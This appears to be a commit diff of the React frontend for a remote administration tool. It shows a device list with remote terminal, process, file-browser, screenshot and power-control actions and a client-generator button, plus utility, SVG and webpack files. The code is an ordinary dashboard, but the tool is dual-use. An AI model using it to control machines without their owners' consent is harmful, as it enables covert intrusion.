import ProTable, {TableDropdown} from '@ant-design/pro-table';
import {Button, Image, message, Modal} from 'antd';
import {formatSize, request, tsToTime, waitTime} from "../utils/utils";
import Terminal from "../components/terminal";
import Processes from "../components/processes";
import Generate from "../components/generate";
import Browser from "../components/browser";
import {QuestionCircleOutlined} from "@ant-design/icons";
function overview(props) {
const [screenBlob, setScreenBlob] = useState('');
const [terminal, setTerminal] = useState(false);
const [procMgr, setProcMgr] = useState(false);
const [browser, setBrowser] = useState(false);
const [isWindows, setIsWindows] = useState(false);
const columns = [
{
key: 'Hostname',
title: 'Hostname',
dataIndex: 'hostname',
ellipsis: true,
width: 100
},
{
key: 'Username',
title: 'Username',
dataIndex: 'username',
ellipsis: true,
width: 100
},
{
key: 'OS',
title: 'OS',
dataIndex: 'os',
ellipsis: true,
width: 80
},
{
key: 'Arch',
title: 'Arch',
dataIndex: 'arch',
ellipsis: true,
width: 70
},
{
key: 'Mac',
title: 'Mac',
dataIndex: 'mac',
ellipsis: true,
width: 100
},
{
key: 'LAN',
title: 'LAN',
dataIndex: 'lan',
ellipsis: true,
width: 100
},
{
key: 'WAN',
title: 'WAN',
dataIndex: 'wan',
ellipsis: true,
width: 100
},
{
key: 'Mem',
title: 'Mem',
dataIndex: 'mem',
ellipsis: true,
renderText: formatSize,
width: 70
},
{
key: 'Uptime',
title: 'Uptime',
dataIndex: 'uptime',
ellipsis: true,
renderText: tsToTime,
width: 100
},
{
key: 'Option',
width: 180,
title: '操作',
dataIndex: 'id',
valueType: 'option',
ellipsis: true,
render: (_, device) => renderOperation(device)
},
];
const options = {
show: true,
density: true,
setting: false,
};
const tableRef = useRef();
function renderOperation(device) {
return [
<a key='terminal' onClick={setTerminal.bind(null, device.id)}>终端</a>,
<a key='procmgr' onClick={setProcMgr.bind(null, device.id)}>进程</a>,
<a key='browser' onClick={() => {
setBrowser(device.id);
setIsWindows(device.os === 'windows');
}}>文件</a>,
<TableDropdown
key='more'
onSelect={(key) => callDevice(key, device.id)}
menus={[
{key: 'screenshot', name: '截屏'},
{key: 'lock', name: '锁屏'},
{key: 'logoff', name: '注销'},
{key: 'hibernate', name: '休眠'},
{key: 'suspend', name: '睡眠'},
{key: 'restart', name: '重启'},
{key: 'shutdown', name: '关机'},
{key: 'offline', name: '离线'},
]}
/>,
]
}
function callDevice(act, device) {
if (act === 'screenshot') {
request('/api/device/screenshot/get', {device: device}, {}, {
responseType: 'blob'
}).then((res) => {
if ((res.data.type??'').substring(0, 16) === 'application/json') {
res.data.text().then((str) => {
let data = {};
try {
data = JSON.parse(str);
} catch (e) {}
message.warn(data.msg??'请求服务器失败')
});
} else {
if (screenBlob.length > 0) {
URL.revokeObjectURL(screenBlob);
}
setScreenBlob(URL.createObjectURL(res.data));
}
});
return;
}
let menus = {
lock: '锁屏',
logoff: '注销',
hibernate: '休眠',
suspend: '睡眠',
restart: '重启',
shutdown: '关机',
offline: '离线',
};
if (!menus.hasOwnProperty(act)) {
return;
}
Modal.confirm({
title: `确定要${menus[act]}该设备吗?`,
icon: <QuestionCircleOutlined/>,
okText: '确定',
cancelText: '取消',
onOk() {
request('/api/device/' + act, {device: device}).then(res => {
let data = res.data;
if (data.code === 0) {
message.success('操作已执行');
tableRef.current.reload();
}
});
}
});
}
function toolBar() {
return (
<Generate
title='生成客户端'
trigger={<Button type='primary'>生成客户端</Button>}
/>
)
}
async function getData(form) {
await waitTime(300);
let res = await request('/api/device/list');
let data = res.data;
if (data.code === 0) {
let result = [];
for (const uuid in data.data) {
let temp = data.data[uuid];
temp.conn = uuid;
result.push(temp);
}
result = result.sort((first, second) => {
let firstEl = first.hostname.toUpperCase();
let secondEl = second.hostname.toUpperCase();
if (firstEl < secondEl) return -1;
if (firstEl > secondEl) return 1;
return 0;
});
result = result.sort((first, second) => {
let firstEl = first.os.toUpperCase();
let secondEl = second.os.toUpperCase();
if (firstEl < secondEl) return -1;
if (firstEl > secondEl) return 1;
return 0;
});
return ({
data: result,
success: true,
total: result.length
});
}
return ({data: [], success: false, total: 0});
}
return (
<>
<Image
preview={{
visible: screenBlob,
src: screenBlob,
onVisibleChange: () => {
URL.revokeObjectURL(screenBlob);
setScreenBlob('');
}
}}
/>
<Browser
isWindows={isWindows}
visible={browser}
device={browser}
onCancel={setBrowser.bind(null, false)}
/>
<Processes
visible={procMgr}
device={procMgr}
onCancel={setProcMgr.bind(null, false)}
/>
<Terminal
visible={terminal}
device={terminal}
onCancel={setTerminal.bind(null, false)}
/>
<ProTable
rowKey='id'
search={false}
options={options}
columns={columns}
request={getData}
pagination={false}
actionRef={tableRef}
toolBarRender={toolBar}
/>
</>
);
}
function wrapper(props) {
let Component = overview;
return (<Component {...props} key={Math.random()}/>)
}
export default wrapper;

99
web/src/static/bg.svg Normal file
View File

@@ -0,0 +1,99 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg width="1361px" height="609px" viewBox="0 0 1361 609" version="1.1" xmlns="http://www.w3.org/2000/svg">
<g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
<g transform="translate(-79.000000, -82.000000)">
<g transform="translate(77.000000, 73.000000)">
<g opacity="0.8"
transform="translate(74.901416, 569.699158) rotate(-7.000000) translate(-74.901416, -569.699158) translate(4.901416, 525.199158)">
<ellipse fill="#CFDAE6" opacity="0.25" cx="63.5748792" cy="32.468367" rx="21.7830479"
ry="21.766008"></ellipse>
<ellipse fill="#CFDAE6" opacity="0.599999964" cx="5.98746479" cy="13.8668601" rx="5.2173913"
ry="5.21330997"></ellipse>
<path d="M38.1354514,88.3520215 C43.8984227,88.3520215 48.570234,83.6838647 48.570234,77.9254015 C48.570234,72.1669383 43.8984227,67.4987816 38.1354514,67.4987816 C32.3724801,67.4987816 27.7006688,72.1669383 27.7006688,77.9254015 C27.7006688,83.6838647 32.3724801,88.3520215 38.1354514,88.3520215 Z"
fill="#CFDAE6" opacity="0.45"></path>
<path d="M64.2775582,33.1704963 L119.185836,16.5654915" stroke="#CFDAE6" stroke-width="1.73913043"
stroke-linecap="round" stroke-linejoin="round"></path>
<path d="M42.1431708,26.5002681 L7.71190162,14.5640702" stroke="#E0B4B7" stroke-width="0.702678964"
opacity="0.7" stroke-linecap="round" stroke-linejoin="round"
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
<path d="M63.9262187,33.521561 L43.6721326,69.3250951" stroke="#BACAD9" stroke-width="0.702678964"
stroke-linecap="round" stroke-linejoin="round"
stroke-dasharray="1.405357899873153,2.108036953469981"></path>
<g transform="translate(126.850922, 13.543654) rotate(30.000000) translate(-126.850922, -13.543654) translate(117.285705, 4.381889)"
fill="#CFDAE6">
<ellipse opacity="0.45" cx="9.13482653" cy="9.12768076" rx="9.13482653"
ry="9.12768076"></ellipse>
<path d="M18.2696531,18.2553615 C18.2696531,13.2142826 14.1798519,9.12768076 9.13482653,9.12768076 C4.08980114,9.12768076 0,13.2142826 0,18.2553615 L18.2696531,18.2553615 Z"
transform="translate(9.134827, 13.691521) scale(-1, -1) translate(-9.134827, -13.691521) "></path>
</g>
</g>
<g transform="translate(216.294700, 123.725600) rotate(-5.000000) translate(-216.294700, -123.725600) translate(106.294700, 35.225600)">
<ellipse fill="#CFDAE6" opacity="0.25" cx="29.1176471" cy="29.1402439" rx="29.1176471"
ry="29.1402439"></ellipse>
<ellipse fill="#CFDAE6" opacity="0.3" cx="29.1176471" cy="29.1402439" rx="21.5686275"
ry="21.5853659"></ellipse>
<ellipse stroke="#CFDAE6" opacity="0.4" cx="179.019608" cy="138.146341" rx="23.7254902"
ry="23.7439024"></ellipse>
<ellipse fill="#BACAD9" opacity="0.5" cx="29.1176471" cy="29.1402439" rx="10.7843137"
ry="10.7926829"></ellipse>
<path d="M29.1176471,39.9329268 L29.1176471,18.347561 C23.1616351,18.347561 18.3333333,23.1796097 18.3333333,29.1402439 C18.3333333,35.1008781 23.1616351,39.9329268 29.1176471,39.9329268 Z"
fill="#BACAD9"></path>
<g opacity="0.45" transform="translate(172.000000, 131.000000)" fill="#E6A1A6">
<ellipse cx="7.01960784" cy="7.14634146" rx="6.47058824" ry="6.47560976"></ellipse>
<path d="M0.549019608,13.6219512 C4.12262681,13.6219512 7.01960784,10.722722 7.01960784,7.14634146 C7.01960784,3.56996095 4.12262681,0.670731707 0.549019608,0.670731707 L0.549019608,13.6219512 Z"
transform="translate(3.784314, 7.146341) scale(-1, 1) translate(-3.784314, -7.146341) "></path>
</g>
<ellipse fill="#CFDAE6" cx="218.382353" cy="138.685976" rx="1.61764706" ry="1.61890244"></ellipse>
<ellipse fill="#E0B4B7" opacity="0.35" cx="179.558824" cy="175.381098" rx="1.61764706"
ry="1.61890244"></ellipse>
<ellipse fill="#E0B4B7" opacity="0.35" cx="180.098039" cy="102.530488" rx="2.15686275"
ry="2.15853659"></ellipse>
<path d="M28.9985381,29.9671598 L171.151018,132.876024" stroke="#CFDAE6" opacity="0.8"></path>
</g>
<g opacity="0.799999952"
transform="translate(1054.100635, 36.659317) rotate(-11.000000) translate(-1054.100635, -36.659317) translate(1026.600635, 4.659317)">
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="43.8135593" cy="32" rx="11.1864407"
ry="11.2941176"></ellipse>
<g transform="translate(34.596774, 23.111111)" fill="#BACAD9">
<ellipse opacity="0.45" cx="9.18534718" cy="8.88888889" rx="8.47457627"
ry="8.55614973"></ellipse>
<path d="M9.18534718,17.4450386 C13.8657264,17.4450386 17.6599235,13.6143199 17.6599235,8.88888889 C17.6599235,4.16345787 13.8657264,0.332739156 9.18534718,0.332739156 L9.18534718,17.4450386 Z"></path>
</g>
<path d="M34.6597385,24.809694 L5.71666084,4.76878945" stroke="#CFDAE6"
stroke-width="0.941176471"></path>
<ellipse stroke="#CFDAE6" stroke-width="0.941176471" cx="3.26271186" cy="3.29411765" rx="3.26271186"
ry="3.29411765"></ellipse>
<ellipse fill="#F7E1AD" cx="2.79661017" cy="61.1764706" rx="2.79661017" ry="2.82352941"></ellipse>
<path d="M34.6312443,39.2922712 L5.06366663,59.785082" stroke="#CFDAE6"
stroke-width="0.941176471"></path>
</g>
<g opacity="0.33"
transform="translate(1282.537219, 446.502867) rotate(-10.000000) translate(-1282.537219, -446.502867) translate(1142.537219, 327.502867)">
<g transform="translate(141.333539, 104.502742) rotate(275.000000) translate(-141.333539, -104.502742) translate(129.333539, 92.502742)"
fill="#BACAD9">
<circle opacity="0.45" cx="11.6666667" cy="11.6666667" r="11.6666667"></circle>
<path d="M23.3333333,23.3333333 C23.3333333,16.8900113 18.1099887,11.6666667 11.6666667,11.6666667 C5.22334459,11.6666667 0,16.8900113 0,23.3333333 L23.3333333,23.3333333 Z"
transform="translate(11.666667, 17.500000) scale(-1, -1) translate(-11.666667, -17.500000) "></path>
</g>
<circle fill="#CFDAE6" cx="201.833333" cy="87.5" r="5.83333333"></circle>
<path d="M143.5,88.8126685 L155.070501,17.6038544" stroke="#BACAD9"
stroke-width="1.16666667"></path>
<path d="M17.5,37.3333333 L127.466252,97.6449735" stroke="#BACAD9" stroke-width="1.16666667"></path>
<polyline stroke="#CFDAE6" stroke-width="1.16666667"
points="143.902597 120.302281 174.935455 231.571342 38.5 147.510847 126.366941 110.833333"></polyline>
<path d="M159.833333,99.7453842 L195.416667,89.25" stroke="#E0B4B7" stroke-width="1.16666667"
opacity="0.6"></path>
<path d="M205.333333,82.1372105 L238.719406,36.1666667" stroke="#BACAD9"
stroke-width="1.16666667"></path>
<path d="M266.723424,132.231988 L207.083333,90.4166667" stroke="#CFDAE6"
stroke-width="1.16666667"></path>
<circle fill="#C1D1E0" cx="156.916667" cy="8.75" r="8.75"></circle>
<circle fill="#C1D1E0" cx="39.0833333" cy="148.75" r="5.25"></circle>
<circle fill-opacity="0.6" fill="#D1DEED" cx="8.75" cy="33.25" r="8.75"></circle>
<circle fill-opacity="0.6" fill="#D1DEED" cx="243.833333" cy="30.3333333" r="5.83333333"></circle>
<circle fill="#E0B4B7" cx="175.583333" cy="232.75" r="5.25"></circle>
</g>
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 8.7 KiB

61
web/src/utils/utils.js Normal file
View File

@@ -0,0 +1,61 @@
import axios from 'axios';
import Qs from 'qs';
function request(url, data, headers, ext, noTrans) {
let _headers = headers ?? {};
_headers = Object.assign({'Content-Type': 'application/x-www-form-urlencoded'}, _headers);
return axios(Object.assign({
url: url,
data: data,
method: 'post',
headers: _headers,
transformRequest: noTrans ? [] : [Qs.stringify],
}, ext??{}));
};
function waitTime(time) {
time = (time ?? 100);
return new Promise((resolve) => {
setTimeout(() => {
resolve(true);
}, time);
});
};
function formatSize(bytes) {
if (bytes === 0) return 'Unknown';
let k = 1024,
i = Math.floor(Math.log(bytes) / Math.log(k)),
sizes = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
return (bytes / Math.pow(k, i)).toFixed(2) + ' ' + sizes[i];
}
function tsToTime(ts) {
if (isNaN(ts)) return 'Unknown';
let hours = Math.floor(ts / 3600);
ts %= 3600;
let minutes = Math.floor(ts / 60);
return `${hours}小时${minutes}分钟`;
}
function post(url, data, ext) {
let form = document.createElement('form');
form.action = url;
form.method = 'POST';
form.target = '_self';
for (const key in ext) {
form[key] = ext[key];
}
for (const key in data) {
let input = document.createElement('input');
input.name = key;
input.value = data[key];
form.appendChild(input);
}
document.body.appendChild(form).submit();
form.remove();
}
export {post, request, waitTime, formatSize, tsToTime};

138
web/webpack.config.js Normal file
View File

@@ -0,0 +1,138 @@
const path = require('path');
const TerserPlugin = require('terser-webpack-plugin');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const UglifyJsPlugin = require('uglifyjs-webpack-plugin');
const {CleanWebpackPlugin} = require('clean-webpack-plugin');
const AntdDayjsWebpackPlugin = require('antd-dayjs-webpack-plugin');
module.exports = (env, args) => {
let mode = args.mode;
return {
entry: './src/index.js',
output: {
publicPath: mode === 'development' ? undefined : './',
path: path.resolve(__dirname, 'dist'),
filename: '[name].js' //'[name].[contenthash:7].js'
},
devtool: mode === 'development' ? 'eval-source-map' : false,
module: {
rules: [
{
test: /\.(js|jsx)$/,
use: 'babel-loader',
exclude: /node_modules/
},
{
test: /\.css$/,
use: [
'style-loader',
'css-loader'
]
},
{
test: /\.less$/,
use: [
'style-loader',
'css-loader',
{
loader: 'less-loader',
options: {
lessOptions: {
modifyVars: {'@primary-color': '#1DA57A'},
javascriptEnabled: true
}
}
}
]
}
]
},
resolve: {
extensions: [
'.js',
'.jsx'
]
},
plugins: mode === 'production' ? [
new HtmlWebpackPlugin({
appMountId: 'root',
template: './public/index.html',
filename: 'index.html',
inject: true
}),
new CleanWebpackPlugin(),
new AntdDayjsWebpackPlugin()
] : [
new HtmlWebpackPlugin({
appMountId: 'root',
template: './public/index.html',
filename: 'index.html',
inject: true
}),
new CleanWebpackPlugin(),
new AntdDayjsWebpackPlugin()
],
optimization: {
minimize: mode === 'production',
minimizer: [
new TerserPlugin({
extractComments: false,
terserOptions: {
compress: {
drop_console: mode === 'production'
}
}
}),
new UglifyJsPlugin({
test: /\.js(\?.*)?$/i,
chunkFilter: (chunk) => chunk.name !== 'vendor',
cache: true,
parallel: 5,
sourceMap: mode === 'development',
uglifyOptions: {
compress: {
drop_console: mode === 'production',
collapse_vars: true,
reduce_vars: true,
},
output: {
beautify: mode === 'production',
comments: mode === 'development',
}
}
})
],
runtimeChunk: 'single',
splitChunks: {
chunks: 'initial',
cacheGroups: {
runtime: {
name: 'runtime',
test: (module) => {
return /axios|react|redux|antd|ant-design/.test(module.context);
},
chunks: 'initial',
priority: 10,
reuseExistingChunk: true
},
vendor: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
reuseExistingChunk: true
}
}
}
},
devServer: {
port: 3000,
open: true,
hot: true,
proxy: {
'/api/': {
target: 'https://1248.ink/spark/',
secure: false
}
}
}
};
};